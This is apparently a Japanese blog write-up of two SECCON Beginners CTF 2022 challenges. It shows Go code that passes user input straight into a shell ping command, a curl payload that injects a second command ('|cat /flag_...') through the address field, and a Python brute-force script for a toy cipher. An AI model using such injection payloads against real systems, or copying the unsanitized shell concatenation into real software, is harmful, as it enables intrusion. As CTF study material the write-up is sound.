目次
とある日
SECCON Beginners CTF 2022に参加しました。
ビギナーと言えど、初歩的なものしか答えられませんでしたが、楽しかったです。
WriteUp
解けた問題だけ流れとか記述していきます。
Util
main.goの以下ソースを見る限りOSインジェクションだなと思いました。
commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2" result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()
Dockerfileに以下のコマンドが実行されていたのでOSインジェクションでFlagファイルをcatするだけで良いと判断しました。
RUN echo "ctf4b{xxxxxxxxxxxxxxxxxx}" > /flag_$(cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 16 | head -n 1).txt
試しにブラウザ上で適当にコマンド打ち込んでもだめなので、index.htmlを見ました。
if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(address)) { var json = {}; json.address = address var xhr = new XMLHttpRequest(); xhr.open("POST", "/util/ping"); xhr.setRequestHeader("Content-Type", "application/json"); xhr.send(JSON.stringify(json)); document.getElementById("notify").innerHTML = "<p>sending...</p>"; xhr.onload = function () { if (xhr.status != 200) { document.getElementById("notify").innerHTML = "<p>Request Error : " + xhr.response + "</p>"; } else { document.getElementById("notify").innerHTML = "<pre><code>" + JSON.parse(xhr.response).result.replaceAll("\n", "<br />") + "</code></pre>"; } }; } else { document.getElementById("notify").innerHTML = "<p>Invalid IP address</p>"; }
JSでバリデーションしていると思ったのでcurlで実行すれば良いと判断しました。
なので以下ペイロードを作って、ls
コマンドを実行したりしてOSインジェクションの確認後ファイルを探してcatするだけです。
curl -X POST -H "Content-Type: application/json" -d '{"address": "127.0.0.1|cat /flag_A74FIBkN9sELAjOc.txt"}' https://util.quals.beginners.seccon.jp/util/ping
ctf4b{al1_0vers_4re_i1l}
CoughingFox
ソースコードを見る限り、やっていることは単純です。
文字列をバイトに変換してINDEXと合わせて累乗しているだけです。
なので、INDEXにあった数値と文字列をバイト変換してチェックするプログラムを書けば大丈夫だと。
def check(): cipher = [ 12147, 20481, 7073, 26615, 19066, 19363, 10852, 11705, 17445, 10640, 10623, 13243, 5789, 17436, 12348, 15891, 2818, 11671, 6410, 16649, 15905, 22240, 7096, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 21346, 19626, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472] cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472] a = "!",""","#","$","%","&","'","(",")","*","+",",","-",".","/","0","1","2","3","4","5","6","7","8","9",":",";","<","=",">","?","@","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","[","/","]","^","_","`","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","{","|","}","~" index = range(6, 48) for k in index: for i in a: b = bytes(i, encoding="utf-8") c = int.from_bytes(b, byteorder='big') tmp = (c + k)**2 + k for j in cipher: if tmp == j: print(b.decode(),end="") print("exit")
ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}
〆
他にも解けそうな問題が2,3問ありましたが惜しくも解けなかったです。
作問者のWriteUp見る限り惜しいところまでは行ってたっぽいです。